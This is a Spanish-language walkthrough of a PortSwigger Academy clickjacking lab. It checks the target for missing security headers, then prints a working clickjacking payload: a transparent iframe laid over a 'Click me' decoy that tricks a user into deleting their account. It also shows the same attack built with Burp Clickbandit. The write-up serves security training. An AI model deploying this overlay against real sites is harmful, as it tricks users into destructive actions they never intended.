Basic clickjacking with CSRF token protection
Laboratorio de Portswigger sobre Clickjacking
Certificaciones
- eWPT
- eWPTXv2
- OSWE
- BSCP
Descripción
Este laboratorio
contiene funcionalidad de inicio de sesión
y un botón de eliminar cuenta
que está protegido por un token CSRF
. El usuario víctima
hará click
en elementos que muestran la palabra "click"
Para resolver
el laboratorio
, debemos crear un HTML
que enmarque la página de la cuenta y engañe
al usuario
para que elimine
su cuenta
. El laboratorio
se resuelve cuando la cuenta
es eliminada. Podemos iniciar sesión
en nuestra propia cuenta utilizando las credenciales wiener:peter
Guía de clickjacking
Antes
de completar
este laboratorio
es recomendable leerse
esta guía de clickjacking
https://justice-reaper.github.io/posts/Clickjacking-Guide/
Resolución
Al acceder
a la web
vemos esto
Si hacemos click sobre My account
nos podemos loguear
con las credenciales wiener:peter
Después de iniciar sesión
vemos que podemos cambiarnos
el correo electrónico
y eliminar
la cuenta
Si pulsamos sobre View post
vemos que hay una sección de comentarios
Para ver si una web
es vulnerable
a Clickjacking
podemos usar la herramienta shcheck
https://github.com/santoru/shcheck.git para identificar
las cabeceras de seguridad
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
# shcheck.py -i -x -k https://0a160029048081a6869fe54a003f00c3.web-security-academy.net/
======================================================
> shcheck.py - santoru ..............................
------------------------------------------------------
Simple tool to check security headers on a webserver
======================================================
[*] Analyzing headers of https://0a160029048081a6869fe54a003f00c3.web-security-academy.net/
[!] URL Returned an HTTP error: 404
[*] Effective URL: https://0a160029048081a6869fe54a003f00c3.web-security-academy.net/
[!] Missing security header: X-XSS-Protection
[!] Missing security header: X-Frame-Options
[!] Missing security header: X-Content-Type-Options
[!] Missing security header: Strict-Transport-Security
[!] Missing security header: Content-Security-Policy
[!] Missing security header: X-Permitted-Cross-Domain-Policies
[!] Missing security header: Referrer-Policy
[!] Missing security header: Expect-CT
[!] Missing security header: Permissions-Policy
[!] Missing security header: Cross-Origin-Embedder-Policy
[!] Missing security header: Cross-Origin-Resource-Policy
[!] Missing security header: Cross-Origin-Opener-Policy
[*] No information disclosure headers detected
[*] No caching headers detected
-------------------------------------------------------
[!] Headers analyzed for https://0a160029048081a6869fe54a003f00c3.web-security-academy.net/
[+] There are 0 security headers
[-] There are not 12 security headers
Si preferimos usar una herramienta web
podemos usar securityheaders
https://securityheaders.com/
En este caso, vemos que la web
no tiene ni Content-Security-Policy (CSP)
ni X-Frame-Options
, lo cual la hace vulnerable a Clickjacking
. Nos dirigimos al Exploit Server
y pegamos este payload
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<style>
iframe {
position:relative;
width: 500px;
height: 700px;
opacity: 0.3;
z-index: 2;
}
div {
position:absolute;
top:495px;
left:70px;
z-index: 1;
}
</style>
<div>Click me</div>
<iframe src="https://0a4a00f50345e77a8330fffc00bc001c.web-security-academy.net/my-account"></iframe>
Pinchamos sobre View exploit
para comprobar
que está bien centrado
el div
que contiene el texto Click me
Una vez comprobado modificamos
la opacidad
a 0
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<style>
iframe {
position:relative;
width: 500px;
height: 700px;
opacity: 0;
z-index: 2;
}
div {
position:absolute;
top:495px;
left:70px;
z-index: 1;
}
</style>
<div>Click me</div>
<iframe src="https://0a4a00f50345e77a8330fffc00bc001c.web-security-academy.net/my-account"></iframe>
Otra forma alternativa sería usando la herramienta Clickbandit
de Burpsuite
, para usarla nos dirigimos a Burpsuite
y pulsamos Burp > Burp Clickbandit
Pulsamos sobre Copy Clickbandit to clipboard
Nos dirigimos a Chrome
, nos abrimos la consola de desarrollador
y pegamos
ahí todo el código
Una vez hecho esto nos saldrá este menú
Pulsamos en Start
y marcamos
la casilla Disable click actions
para desactivar
los clicks
Lo siguiente sería pulsar sobre el botón que queremos
, en este caso sobre Delete account
que es el que queremos usar para el ataque de Clickjacking
Una vez hecho esto, pulsamos
sobre Finish
y se nos mostrará
como es nuestro payload
actualmente
Usando los símbolos -
y +
, podemos subir
o bajar
el aumento
, y con Toogle transparency
podemos activar
o desactivar
la transparencia
. En mi caso, lo voy a dejar de esta forma. Cuando ya lo tengamos como queremos, pulsamos en Save
y se nos descargará
un documento HTML
Pegamos
el código
en el Exploit server
Pulsamos sobre View exploit
para ver si se ve correctamente. Una vez comprobado que se ve
y funciona
correctamente, pulsamos sobre Deliver exploit to victim
y completamos el laboratorio